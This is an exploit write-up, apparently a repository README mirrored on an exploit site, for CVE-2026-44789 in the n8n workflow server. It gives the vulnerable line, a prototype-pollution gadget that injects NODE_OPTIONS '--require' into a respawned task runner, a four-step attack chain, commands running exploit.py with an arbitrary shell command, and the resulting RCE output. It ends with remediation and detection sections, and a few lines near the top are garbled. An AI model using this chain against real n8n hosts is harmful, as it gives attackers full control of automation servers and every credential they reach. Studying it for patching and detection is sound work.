Share
## https://sploitus.com/exploit?id=54FD57FA-4F05-5BF3-A823-C8F345BE77D5
# CVE-2026-44789 — n8n HTTP Request Node Pagination Prototype Pollution → RCE

> An authenticated **n8n ` in the n8n **server** process through the HTTP Request node's pagination settings,
> then escalates to **remote code execution** by abusing how n8n spawns its task
> runner — leaking a polluted `NODE_OPTIONS` into a child `node` process and
> bypassing the Code-node sandbox.

| | |
|---|---|
| **CVE** | CVE-2026-44789 |
| **Advisory** | [GHSA-c8xv-5998-g76h](https://github.com/n8n-io/n8n/security/advisories/GHSA-c8xv-5998-g76h) |
| **Affected** | ` The public advisory states only that the pollution *"combined with other
> techniques could lead to RCE"* — it does not disclose a gadget. This repo
> documents and automates a concrete, verified prototype-pollution→RCE chain.

---

## 1. The pollution primitive

`packages/nodes-base/nodes/HttpRequest/V3/HttpRequestV3.node.ts`, pagination mode
`updateAParameterInEachRequest`:

```js
paginationData.request[parameter.type]![parameterName] = parameterValue;
```

`parameter.type`, `parameterName` and `parameterValue` all come from the workflow
JSON (attacker-controlled). With **`parameter.type = "__proto__"`**,
`paginationData.request["__proto__"]` resolves to `Object.prototype`, so the
assignment writes `Object.prototype[parameterName] = parameterValue` — a **global**
prototype pollution in the n8n server process.

The fix uses `Object.create(null)` for `paginationData.request`, so `["__proto__"]`
is an ordinary (null-proto) key instead of the prototype.

## 2. The RCE gadget

`packages/cli/src/task-runners/task-runner-process-js.ts` spawns the JS task runner:

```js
return spawn('node', [...flags, startScript], { env: this.getProcessEnvVars(...) });
```

Node's `normalizeSpawnArguments` builds the child environment with
**`for (const key in env)`**, which enumerates **inherited** enumerable properties.
Polluting `Object.prototype.NODE_OPTIONS = "--require=/path/evil.js"` therefore leaks
into the spawned runner's environment. The child is `node`, which honours
`NODE_OPTIONS`, so it `--require`s the attacker's file at startup → code execution
**outside** the Code-node sandbox, as the n8n service user.

The runner is launched at startup, but its lifecycle re-spawns it whenever the
process exits (`onProcessExit → start()`). The attacker forces a respawn *after*
polluting by hanging the runner with a Code node (task-timeout / OOM kills it).

## 3. End-to-end chain (what `exploit.py` does)

```
1. write /tmp/evil.js                  via Set → Convert to File → Read/Write Files nodes
2. hang the task runner                via a Code node ( while(true){} )   [BEFORE polluting]
3. pollute Object.prototype.NODE_OPTIONS via the HTTP Request node ( type="__proto__" )
4. the hung runner times out → main process respawns 'node' → inherits NODE_OPTIONS
   → require('/tmp/evil.js') → RCE
```

Ordering matters: the pollution makes `NODE_OPTIONS` an enumerable own-less key on
`Object.prototype`, which n8n's TypeORM layer trips over (`for…in` over entities),
breaking workflow persistence. So the runner must already be hung *before* the
pollution lands; the respawn then picks up the polluted environment.

## 4. Reproduce

```bash
# vulnerable instance with task runners enabled (the default in current n8n)
docker compose -f lab/docker-compose.yml up -d        # n8nio/n8n:1.123.42

python3 exploit.py http://127.0.0.1:5678 -c "id; hostname"

# command output appears on the n8n host:
docker compose -f lab/docker-compose.yml exec n8n cat /tmp/n8n_rce_proof
#   RCE uid=1000(node) gid=1000(node) groups=1000(node)
#   
```

`exploit.py` uses only the Python standard library and drives the n8n REST API
end-to-end (owner setup/login → deploy workflows → fire the chain).

Observed:

```
[*] step 1: wrote --require payload to /tmp/evil.js (via Read/Write Files node)
[*] step 2: dispatched a hanging task -> runner is now busy
[*] step 3: polluted Object.prototype.NODE_OPTIONS = --require=/tmp/evil.js
[*] waiting for the hung runner to time out, be respawned, and inherit NODE_OPTIONS ...
RCE uid=1000(node) gid=1000(node) groups=1000(node),1000(node)
```

`uid=1000(node)` is the runner's service account and the output is live `id`/`uname`
state — genuine execution, not input echo.

## 5. Impact

Any authenticated user who can create or modify a workflow gains OS command
execution on the n8n host, escaping the Code-node sandbox — full compromise of the
automation server and every credential/system it can reach.

## 6. Remediation

* Upgrade to **n8n ≥ 1.123.43 / 2.20.7 / 2.22.1** (the pagination object is built with
  `Object.create(null)`, killing the `__proto__` write).
* Defense in depth: restrict workflow create/modify to trusted users; the runner is
  already hardened with `--disable-proto=delete` / `--disallow-code-generation-from-strings`,
  but those protect the *runner*, not the *main* process where the pollution lands.

## 7. Detection

Flag workflows whose HTTP Request pagination parameters use `type` values of
`__proto__` / `constructor` / `prototype`, and `NODE_OPTIONS` appearing as an entity
property error in n8n/TypeORM logs.

See [`ANALYSIS.md`](ANALYSIS.md) for the primitive, the Node `for…in` env behaviour,
the runner lifecycle, and the patch.

---

* Author: **Caio Fabrício** — [github.com/BiiTts](https://github.com/BiiTts)
* Vulnerability credit belongs to the original reporter / vendor advisory; the
  pollution→RCE gadget chain here is independent research. For authorized security
  testing only.